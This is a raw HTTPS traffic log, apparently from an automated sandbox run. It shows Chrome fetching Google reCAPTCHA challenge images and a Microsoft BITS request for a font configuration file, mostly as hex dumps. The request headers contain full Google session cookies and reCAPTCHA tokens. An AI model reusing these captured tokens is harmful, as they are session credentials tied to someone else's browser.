2024-03-15 12:57:47 UTC	1252	IN	Data Raw: 5a 72 34 b5 15 d1 4c c9 92 01 18 eb 51 b8 f9 30 a3 3c 75 ab 97 56 b9 60 50 74 eb 4c 48 82 94 53 d4 9c 1a 9e 61 a4 64 db 5c 25 bd e8 91 89 e3 8c 56 a5 c4 30 cd 6e 2e a0 5c 30 39 38 ef 59 fe 27 b2 16 b7 48 57 1b 58 73 83 9a 87 4c b9 9e 14 31 23 6f 46 f5 e2 b3 92 b9 33 8d cd 58 36 99 87 27 9e be d5 bd a4 ed 36 17 1b 79 19 e0 d6 0a 38 5c 32 81 92 39 ad cd 04 13 a4 4a f8 e1 9e ae 31 d0 99 49 d9 23 0f c6 ad b6 e6 05 3c 8d 82 b2 93 63 28 f9 88 26 b5 bc 6b c5 e2 02 39 0b 5c ff 00 da 51 5d 14 83 c7 51 8a 2c 68 b6 25 98 ec e8 58 fd 2a ab a1 29 bb 27 39 ab 62 54 62 00 e3 34 8c a3 66 3b d2 29 bb a2 ba 70 43 63 1c 54 83 73 67 3c 12 38 a7 85 07 0a 7b 53 d4 7c e0 91 c8 a7 62 1b 2e c5 26 e8 10 0f e1 e0 d5 6d 43 89 86 5b 8c 71 49 a7 ca 04 b2 a4 84 80 dc 8e 29 9a 83 6e 99 Data Ascii: Zr4LQ0<uV`PtLHSad\%V0n.\098Y'HWXsL1#oF3X6'6y8\29J1I#<c(&k9\Q]Q,h%X*)'9bTb4f;)pCcTsg<8{S\|b.&mC[qI)n
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: 26 07 2e 99 ae 8b 47 f1 af 88 a4 b7 63 27 d9 57 8e 01 88 0a cd 54 6a f6 0d d5 99 e0 9f 10 60 b9 b2 bc 84 4c 24 87 03 a1 f9 6b 90 ba 4b 39 80 92 54 76 91 b8 cd 7a 67 c6 5d 56 f3 54 d7 e3 4b d4 8c 80 b8 f9 06 2b 8b 96 d2 de 2b 5e 99 ad 61 55 b5 a9 83 8a 5b 18 52 59 5a 24 7c 6f 56 35 0b d9 41 b7 68 91 b2 7a fd 2b 49 8d b2 a9 2d 19 f4 a8 ee 4d b2 2a 6e 46 04 f4 c5 5f 38 59 23 0d b4 c8 24 9b 64 1b c3 66 a1 6b 0b 3d 3e ea 61 7c 5f 78 4c a0 1d 6b b2 d2 f4 b8 a5 5f b4 87 65 27 b1 ae 5f c7 a8 46 a1 1b 21 1b 71 b6 aa 9d 46 dd 8c e4 af b1 cd 70 64 24 74 27 8a d4 d2 1b 49 41 3f f6 a0 66 ca e2 20 3d 6b 3d 66 da ae 89 16 58 7f 1f a5 52 69 64 6f 94 b6 5b b9 f5 ae db 69 70 4e ca c7 45 e1 5f 15 5f 78 5a ee 69 f4 e8 e2 71 28 2b 96 19 38 35 d0 d8 cc f7 3a 7c f7 32 81 e7 4e Data Ascii: &.Gc'WTj`L$kK9Tvzg]VTK++^aU[RYZ$\|oV5Ahz+I-M*nF_8Y#$dfk=>a\|_xLk_e'_F!qFpd$t'IA?f =k=fXRido[ipNE__xZiq(+85:\|2N
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: 5e 83 ae 78 a7 44 d5 74 8b 38 d7 4f 12 08 d4 2f 5f 4a e5 fc 41 3e 90 34 89 dd 2c 5a 32 c3 0a 47 6a dd 55 97 35 8e 4a ea 34 e2 93 67 0d ac de 88 9a 29 43 a9 5c f2 01 e6 ba 8d 03 c4 fa 87 f6 3c b6 10 ea 17 02 d6 51 8f 21 1c 85 35 e7 17 02 49 6e 7c bd c1 d4 93 b5 6b ad f8 79 a6 5d c1 74 67 ba 42 91 28 24 67 bd 75 28 5d 13 46 ba 82 b1 db f8 47 c4 ba 76 91 6b 35 b5 dc 8d 09 61 8e 9f ce af 69 de 2f d1 2d ef 4c 82 e5 73 9e bd 6b a1 f8 73 e1 ef 0a 78 f6 ea 7d 0f 53 8d 2d 6f 1e 32 d1 49 c7 27 de bc 3f c7 9e 1d 7f 0d 78 b7 51 d1 64 c1 36 d2 10 ac a7 86 1e d5 e6 d6 c3 fb d7 2a 9e 3e 1c fc 8b 53 dd 23 f1 c7 87 24 5d d3 5f 22 9f 53 54 3c 4d e3 7b 76 8d 17 41 9a 39 a4 5e a0 77 af 9e 18 90 48 75 38 1c 72 69 62 ba 92 ce 54 96 27 78 db 39 04 1a 74 70 d1 5b 9b 4a b1 e9 3e Data Ascii: ^xDt8O/_JA>4,Z2GjU5J4g)C\<Q!5In\|ky]tgB($gu(]FGvk5ai/-Lsksx}S-o2I'?xQd6*>S#$]_"ST<M{vA9^wHu8ribT'x9tp[J>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49741	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:47 UTC	1023	OUT	GET /recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:47 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:57:47 GMT Date: Fri, 15 Mar 2024 12:57:47 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:57:47 UTC	6	IN	Data Raw: 38 36 31 31 0d 0a Data Ascii: 8611
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C"}!1AQa"q2
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: b7 0c e7 68 ae b3 5a f8 2f ad 59 19 a3 59 62 91 d3 df 35 c5 5e e9 ba ce 83 ab 8d 32 45 62 ef d1 4a e4 56 b4 eb 29 ab 13 3a 49 4a e4 af e2 29 86 cf f4 63 bd fa 85 15 2d fe b5 f6 58 e3 69 e3 c1 7e 42 d6 8d c6 87 ab 59 e9 e2 fd ec 56 3d fc 21 61 ce 7e 95 9d ad 78 33 c4 9e 4c 37 d7 76 e4 f9 c3 72 fb 0a 6d ab 94 a3 65 cc cc 4b ef 12 df 49 37 99 08 d8 bd 96 ba 7f 87 d7 33 6a f7 0f f6 a1 90 3a 8a e5 c7 85 35 a6 91 55 21 62 dd 7a 57 69 f0 d2 c2 e6 c6 ee 68 ae 40 49 57 a8 23 14 f9 ad a1 9c db e8 74 3a de 8b 12 69 ef 22 17 1c f4 5a e3 6e db ca 9c ab 02 bc 77 af 4d ea 0a b0 60 09 ef d2 bc df e2 3a 49 05 e8 68 80 da dd 71 58 5f 95 d9 95 1f 79 5c af 08 96 4f 96 35 2e 3d ab 97 f1 5d 8c 96 d7 a2 47 fe 31 d2 bb 9f 87 ac 16 29 e4 70 09 03 8c 8c d7 33 f1 12 44 97 54 52 33 Data Ascii: hZ/YYb5^2EbJV):IJ)c-Xi~BYV=!a~x3L7vrmeKI73j:5U!bzWih@IW#t:i"ZnwM`:IhqX_y\O5.=]G1)p3DTR3
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: df b9 b7 dd b4 ee 3d 6a 78 35 bd 1b 41 b4 87 4c bb b3 13 46 33 90 07 5a e3 a9 53 53 a7 09 4a 50 f7 a4 71 d1 db 88 e5 48 be c8 ad 24 88 5d 8a b7 dd 22 b9 78 2f 2e 7f b6 84 da 9d b7 d9 a0 0d 84 67 fe 2f a5 7a a9 f1 17 86 60 91 6e 61 d3 21 12 03 80 0f a1 f5 ac 1f 15 6a 7e 1e d6 e6 0a da 74 1b d4 60 38 38 03 e9 5c cb 11 28 b3 aa 54 22 df 31 1d f6 a9 66 ba 73 15 95 40 78 fe 51 eb 5c 06 a9 79 14 d1 88 d5 d4 b2 e4 90 0f 3f 5a d7 d4 af 34 d9 ad 13 4a b6 55 86 45 e3 cd 06 b9 6b 8b 3b 5b 16 95 ae 0c 8b 21 1c 38 e8 d5 bd 3c 42 bd cc aa 53 8a d9 9b 16 d1 c9 7b ad e8 70 44 9f 30 95 72 7d ab eb af 19 6a b6 fa 37 c3 68 ad 45 c2 a4 93 22 c2 9f 30 dc 49 eb d2 be 27 bd d4 af 2d a4 b3 9a ca 66 8d d5 72 8d ef 5d d6 87 ab 6a 1a d4 16 c3 53 d4 66 7d b2 ae d0 cd 9e 6b 5f 6b 79 Data Ascii: =jx5ALF3ZSSJPqH$]"x/.g/z`na!j~t`88\(T"1fs@xQ\y?Z4JUEk;[!8<BS{pD0r}j7hE"0I'-fr]jSf}k_ky
2024-03-15 12:57:47 UTC	342	IN	Data Raw: e4 a1 71 c9 1c 01 ef 5a 4e f7 73 5c 0b e9 27 69 a4 76 cb 37 bd 77 1e 18 f0 dd de b5 3c 46 e0 89 6d 1c 8c 91 ce 2b 48 d3 b2 3a 16 d7 33 ef 7c 31 6d 70 b8 d2 ed c5 e2 ec 1b e5 51 f7 4d 56 7d 0a 4b 78 5a 31 65 71 e7 44 32 40 07 15 e8 3f f0 8b 6a be 1f d4 44 d0 de ed b0 3d 51 46 38 f7 ab 57 73 de 5c ed 82 2e 87 ef 3e 39 3f 5a c5 d9 32 d5 da 3c 2b 5f b9 98 be 59 b6 76 23 1f 76 a9 21 69 8c 71 24 a5 9c 8c 02 3b d7 5b e3 fd 1a 38 af e4 87 18 e3 71 38 eb 58 1a 66 98 eb 03 c9 1a b7 9b 80 b1 f1 d0 d7 54 57 32 bb 30 9c 1b 96 a6 66 ab 6f 25 9c a1 27 e5 b1 9e 4d 26 9b 2f da 2e ed e1 8c 02 ec fc 0f 4a da f8 83 a5 5c e9 5a 65 8c 97 a3 7c f3 00 49 35 9b e0 a6 68 2f da ea 6b 41 2a c7 82 36 f3 8a cf da 26 8b ab 4d 5a c9 1e cf 6b a3 6b 22 da 20 2d 2d c8 08 3b 0f 4a 2b 95 3f Data Ascii: qZNs\'iv7w<Fm+H:3\|1mpQMV}KxZ1eqD2@?jD=QF8Ws\.>9?Z2<+_Yv#v!iq$;[8q8XfTW20fo%'M&/.J\Ze\|I5h/kA*6&MZkk" --;J+?
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: e9 ca e4 83 d3 e5 e9 5e be 31 b8 a5 63 5f 66 e7 2b 23 87 b7 68 2c ad 26 5b 0b e1 6a 8b f3 80 a7 af 35 8d f0 eb 52 d3 af 3c 7d 77 a8 78 8a 09 24 81 97 69 71 fc 55 e7 1e 19 d3 3c 41 ab 5d 48 d0 7d b6 e6 24 c9 29 18 ce 40 35 ef 5f 0b b4 bd 3f 50 d3 65 49 ed 51 24 b6 5c 48 08 e7 3e f5 c9 51 ca 11 bb 3a 29 61 e3 67 17 b9 e7 5e 35 8f 47 b2 f1 83 4b a2 4e 5e da 47 dc 07 74 f6 a3 51 8c dd bc 72 18 de 5f 97 a9 15 db ea 3a 47 85 bc 3f e2 98 35 2d 59 0b 59 2e 5e 48 f1 c5 69 e9 fa 9f 85 7c 51 e2 9b 69 f4 f9 21 b1 d2 50 61 89 00 06 ae 75 29 54 5e e9 53 b2 95 9e c7 8e 6a 4f e4 d8 c9 11 81 56 4d dd 4d 73 57 b7 e2 d3 4d 53 0c 21 e5 57 c9 38 eb 5f 4f 6a 5e 10 f0 d6 b3 e2 03 a7 e9 c9 15 cc 4c bf 33 03 9d a7 d7 35 87 e2 7f 84 9a 46 9b 3a 40 d3 6f 57 e5 40 51 d6 a6 54 e4 89 Data Ascii: ^1c_f+#h,&[j5R<}wx$iqU<A]H}$)@5_?PeIQ$\H>Q:)ag^5GKN^GtQr_:G?5-YY.^Hi\|Qi!Pau)T^SjOVMMsWMS!W8_Oj^L35F:@oW@QT
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: 8f 7c 57 92 69 97 12 32 38 23 3c 77 ab 76 37 4b 39 f2 cb 7c d9 c5 65 ec d2 34 53 5c a7 a0 ea ba fc fe 20 90 5e cb 10 88 f4 db 8e b4 68 3e 28 1e 1f bd 69 6e 2c 23 ba 8d d7 18 6f e1 c5 72 f1 5f cb 02 aa 18 b7 80 70 a4 d5 5d 42 66 9e 62 ce bb 49 1d 2a 93 b2 b1 8b 5c cc ea be 20 f8 a9 3c 59 65 6f 1a 58 88 7c 93 92 7d ab 3f 40 d5 2d 74 a8 08 b8 8b ce 89 fa 00 39 ac 7d 38 41 25 dc 30 dc cd e4 c5 23 05 69 0f f0 8a d2 f1 85 95 8d 95 f2 ae 8d 7d f6 cb 68 50 17 6c 70 4d 44 a9 24 b4 13 aa d4 ac 89 24 f1 2d 89 91 88 b0 38 24 f6 a2 b9 53 a8 1c fd da 2a 3d 89 a7 32 3e a5 fd 90 a1 76 f1 a3 38 66 d8 b6 e7 81 d0 57 ae f8 fb 51 11 6b 1e 24 87 6e df 3b 4f 58 83 67 af 1c d7 13 e0 3d 5b c2 be 10 d4 86 a1 a5 ab 06 64 da e8 4f 04 56 86 ad ae e8 3a d5 e5 d5 cd cb ba fd a4 74 1f Data Ascii: \|Wi28#<wv7K9\|e4S\ ^h>(in,#or_p]BfbI\ <YeoX\|}?@-t9}8A%0#i}hPlpMD$$-8$S=2>v8fWQk$n;OXg=[dOV:t
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: 5a 72 34 b5 15 d1 4c c9 92 01 18 eb 51 b8 f9 30 a3 3c 75 ab 97 56 b9 60 50 74 eb 4c 48 82 94 53 d4 9c 1a 9e 61 a4 64 db 5c 25 bd e8 91 89 e3 8c 56 a5 c4 30 cd 6e 2e a0 5c 30 39 38 ef 59 fe 27 b2 16 b7 48 57 1b 58 73 83 9a 87 4c b9 9e 14 31 23 6f 46 f5 e2 b3 92 b9 33 8d cd 58 36 99 87 27 9e be d5 bd a4 ed 36 17 1b 79 19 e0 d6 0a 38 5c 32 81 92 39 ad cd 04 13 a4 4a f8 e1 9e ae 31 d0 99 49 d9 23 0f c6 ad b6 e6 05 3c 8d 82 b2 93 63 28 f9 88 26 b5 bc 6b c5 e2 02 39 0b 5c ff 00 da 51 5d 14 83 c7 51 8a 2c 68 b6 25 98 ec e8 58 fd 2a ab a1 29 bb 27 39 ab 62 54 62 00 e3 34 8c a3 66 3b d2 29 bb a2 ba 70 43 63 1c 54 83 73 67 3c 12 38 a7 85 07 0a 7b 53 d4 7c e0 91 c8 a7 62 1b 2e c5 26 e8 10 0f e1 e0 d5 6d 43 89 86 5b 8c 71 49 a7 ca 04 b2 a4 84 80 dc 8e 29 9a 83 6e 99 Data Ascii: Zr4LQ0<uV`PtLHSad\%V0n.\098Y'HWXsL1#oF3X6'6y8\29J1I#<c(&k9\Q]Q,h%X*)'9bTb4f;)pCcTsg<8{S\|b.&mC[qI)n
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: 26 07 2e 99 ae 8b 47 f1 af 88 a4 b7 63 27 d9 57 8e 01 88 0a cd 54 6a f6 0d d5 99 e0 9f 10 60 b9 b2 bc 84 4c 24 87 03 a1 f9 6b 90 ba 4b 39 80 92 54 76 91 b8 cd 7a 67 c6 5d 56 f3 54 d7 e3 4b d4 8c 80 b8 f9 06 2b 8b 96 d2 de 2b 5e 99 ad 61 55 b5 a9 83 8a 5b 18 52 59 5a 24 7c 6f 56 35 0b d9 41 b7 68 91 b2 7a fd 2b 49 8d b2 a9 2d 19 f4 a8 ee 4d b2 2a 6e 46 04 f4 c5 5f 38 59 23 0d b4 c8 24 9b 64 1b c3 66 a1 6b 0b 3d 3e ea 61 7c 5f 78 4c a0 1d 6b b2 d2 f4 b8 a5 5f b4 87 65 27 b1 ae 5f c7 a8 46 a1 1b 21 1b 71 b6 aa 9d 46 dd 8c e4 af b1 cd 70 64 24 74 27 8a d4 d2 1b 49 41 3f f6 a0 66 ca e2 20 3d 6b 3d 66 da ae 89 16 58 7f 1f a5 52 69 64 6f 94 b6 5b b9 f5 ae db 69 70 4e ca c7 45 e1 5f 15 5f 78 5a ee 69 f4 e8 e2 71 28 2b 96 19 38 35 d0 d8 cc f7 3a 7c f7 32 81 e7 4e Data Ascii: &.Gc'WTj`L$kK9Tvzg]VTK++^aU[RYZ$\|oV5Ahz+I-M*nF_8Y#$dfk=>a\|_xLk_e'_F!qFpd$t'IA?f =k=fXRido[ipNE__xZiq(+85:\|2N
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: 5e 83 ae 78 a7 44 d5 74 8b 38 d7 4f 12 08 d4 2f 5f 4a e5 fc 41 3e 90 34 89 dd 2c 5a 32 c3 0a 47 6a dd 55 97 35 8e 4a ea 34 e2 93 67 0d ac de 88 9a 29 43 a9 5c f2 01 e6 ba 8d 03 c4 fa 87 f6 3c b6 10 ea 17 02 d6 51 8f 21 1c 85 35 e7 17 02 49 6e 7c bd c1 d4 93 b5 6b ad f8 79 a6 5d c1 74 67 ba 42 91 28 24 67 bd 75 28 5d 13 46 ba 82 b1 db f8 47 c4 ba 76 91 6b 35 b5 dc 8d 09 61 8e 9f ce af 69 de 2f d1 2d ef 4c 82 e5 73 9e bd 6b a1 f8 73 e1 ef 0a 78 f6 ea 7d 0f 53 8d 2d 6f 1e 32 d1 49 c7 27 de bc 3f c7 9e 1d 7f 0d 78 b7 51 d1 64 c1 36 d2 10 ac a7 86 1e d5 e6 d6 c3 fb d7 2a 9e 3e 1c fc 8b 53 dd 23 f1 c7 87 24 5d d3 5f 22 9f 53 54 3c 4d e3 7b 76 8d 17 41 9a 39 a4 5e a0 77 af 9e 18 90 48 75 38 1c 72 69 62 ba 92 ce 54 96 27 78 db 39 04 1a 74 70 d1 5b 9b 4a b1 e9 3e Data Ascii: ^xDt8O/_JA>4,Z2GjU5J4g)C\<Q!5In\|ky]tgB($gu(]FGvk5ai/-Lsksx}S-o2I'?xQd6*>S#$]_"ST<M{vA9^wHu8ribT'x9tp[J>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49743	104.118.8.139	443

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:49 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-03-15 12:57:49 UTC	468	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/079C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=196034 Date: Fri, 15 Mar 2024 12:57:49 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49744	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:50 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-03-15 12:57:50 UTC	456	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 Cache-Control: public, max-age=185336 Date: Fri, 15 Mar 2024 12:57:50 GMT Content-Length: 55 Connection: close X-CID: 2
2024-03-15 12:57:50 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49745	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:58 UTC	1251	OUT	POST /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 5946 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://www.google.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:58 UTC	5946	OUT	Data Raw: 76 3d 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 26 63 3d 30 33 41 46 63 57 65 41 34 38 71 5f 39 6d 67 69 63 67 48 4d 72 65 4e 65 4e 58 35 77 38 37 65 50 30 43 4f 42 76 6d 68 6b 6d 63 74 63 30 4d 49 75 62 7a 4f 6c 35 58 67 33 6f 46 32 66 6c 42 68 4c 7a 77 71 36 47 76 4a 7a 62 59 34 5f 32 58 32 54 41 52 69 33 64 71 57 6d 6d 58 4d 6a 4d 38 51 76 6e 6a 69 37 72 6f 61 64 45 75 65 65 76 64 69 65 71 4a 57 45 55 43 6c 6d 6d 69 48 4d 71 44 54 4a 58 65 67 49 37 59 36 48 53 31 67 71 5f 4d 47 68 4f 52 4a 69 71 4d 66 72 53 6d 35 47 6c 39 42 4d 6e 56 53 64 64 37 5a 41 42 63 79 53 63 6e 44 4e 53 77 49 77 63 41 5f 57 4e 71 70 48 62 52 55 72 54 62 42 79 51 44 30 76 45 2d 4d 50 68 6e 6d 41 63 6b 70 30 72 6a 55 75 32 31 33 37 6b 7a 5a 35 33 49 Data Ascii: v=07g0mpPGukTo20VqKa8GbTSw&c=03AFcWeA48q_9mgicgHMreNeNX5w87eP0COBvmhkmctc0MIubzOl5Xg3oF2flBhLzwq6GvJzbY4_2X2TARi3dqWmmXMjM8Qvnji7roadEueevdieqJWEUClmmiHMqDTJXegI7Y6HS1gq_MGhORJiqMfrSm5Gl9BMnVSdd7ZABcyScnDNSwIwcA_WNqpHbRUrTbByQD0vE-MPhnmAckp0rjUu2137kzZ53I
2024-03-15 12:57:58 UTC	483	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 15 Mar 2024 12:57:58 GMT Expires: Fri, 15 Mar 2024 12:57:58 GMT Cache-Control: private, max-age=0 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:57:58 UTC	769	IN	Data Raw: 61 36 32 0d 0a 29 5d 7d 27 0a 5b 22 64 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 37 7a 4b 61 67 6c 4a 79 48 7a 77 7a 70 36 4e 5f 35 70 69 42 56 4e 5a 79 75 48 33 69 42 36 77 48 76 37 75 64 32 62 34 65 44 5f 34 64 51 6e 66 38 50 58 33 35 4c 4b 36 52 36 55 5f 6d 4c 33 4a 70 46 6d 44 61 59 4b 4d 4d 36 43 44 6b 38 44 67 75 59 4d 4e 45 72 53 70 64 70 48 74 6d 4c 69 42 4e 34 48 4b 52 74 46 6a 53 37 4f 5a 73 59 51 32 49 4e 5a 41 64 61 50 55 73 78 53 36 47 79 61 45 44 57 74 5a 61 34 42 2d 5a 2d 78 61 42 71 42 74 53 42 49 41 33 46 5a 4b 49 73 35 43 6c 77 7a 69 70 36 6d 72 61 64 6b 76 61 33 52 5f 73 5a 78 39 66 42 4e 59 7a 62 50 46 69 50 78 71 4c 49 4d 38 45 68 72 38 6b 74 4b 34 5f 6d 35 4c 70 31 45 31 42 71 42 74 50 78 79 68 65 44 4a 59 70 41 6f 59 4f 6b 46 58 Data Ascii: a62)]}'["dresp","03AFcWeA7zKaglJyHzwzp6N_5piBVNZyuH3iB6wHv7ud2b4eD_4dQnf8PX35LK6R6U_mL3JpFmDaYKMM6CDk8DguYMNErSpdpHtmLiBN4HKRtFjS7OZsYQ2INZAdaPUsxS6GyaEDWtZa4B-Z-xaBqBtSBIA3FZKIs5Clwzip6mradkva3R_sZx9fBNYzbPFiPxqLIM8Ehr8ktK4_m5Lp1E1BqBtPxyheDJYpAoYOkFX
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: 48 38 5a 71 38 2d 70 6d 5a 31 77 49 6c 79 51 36 66 58 5f 67 63 76 30 61 79 70 47 67 77 4d 69 34 45 41 34 51 45 56 38 70 31 6b 4a 4e 57 48 6b 62 71 4b 54 59 41 35 5f 43 6e 32 72 71 53 59 34 6b 6b 44 53 68 67 6d 49 32 56 69 50 74 33 72 31 71 46 70 6b 63 42 6b 75 4a 50 32 56 71 38 42 51 79 64 76 55 32 63 45 37 71 6e 5f 4f 41 4c 46 72 4f 65 51 6b 4a 34 63 46 39 62 35 43 52 43 4c 4f 7a 51 7a 57 4f 57 74 4a 31 76 6b 44 61 4a 69 4a 56 4c 6b 56 58 79 68 58 49 4a 72 5a 45 4f 32 4a 6f 41 4a 48 4a 59 30 72 73 74 64 5a 78 6f 4e 77 49 77 6d 4e 58 61 51 61 50 46 62 61 71 4b 44 72 30 57 33 4b 77 5f 72 34 69 77 35 46 33 33 70 4e 6e 75 